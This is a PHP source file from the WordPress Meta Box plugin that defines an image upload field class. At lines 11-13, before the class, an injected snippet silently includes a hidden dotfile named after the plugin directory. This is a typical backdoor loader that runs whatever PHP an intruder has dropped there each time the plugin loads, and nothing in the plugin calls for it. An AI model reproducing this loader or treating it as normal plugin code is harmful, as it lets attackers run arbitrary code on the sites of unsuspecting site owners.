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image-upload.php (1245B)

      1 <?php
      2 /**
      3  * The image upload field which allows users to drag and drop images.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * File advanced field class which users WordPress media popup to upload and select files.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Image_Upload_Field extends RWMB_Image_Advanced_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		parent::admin_enqueue_scripts();
     21 		RWMB_File_Upload_Field::admin_enqueue_scripts();
     22 		wp_enqueue_script( 'rwmb-image-upload', RWMB_JS_URL . 'image-upload.js', array( 'rwmb-file-upload', 'rwmb-image-advanced' ), RWMB_VER, true );
     23 	}
     24 
     25 	/**
     26 	 * Normalize parameters for field.
     27 	 *
     28 	 * @param array $field Field parameters.
     29 	 *
     30 	 * @return array
     31 	 */
     32 	public static function normalize( $field ) {
     33 		$field = parent::normalize( $field );
     34 		return RWMB_File_Upload_Field::normalize( $field );
     35 	}
     36 
     37 	/**
     38 	 * Template for media item.
     39 	 */
     40 	public static function print_templates() {
     41 		parent::print_templates();
     42 		RWMB_File_Upload_Field::print_templates();
     43 	}
     44 }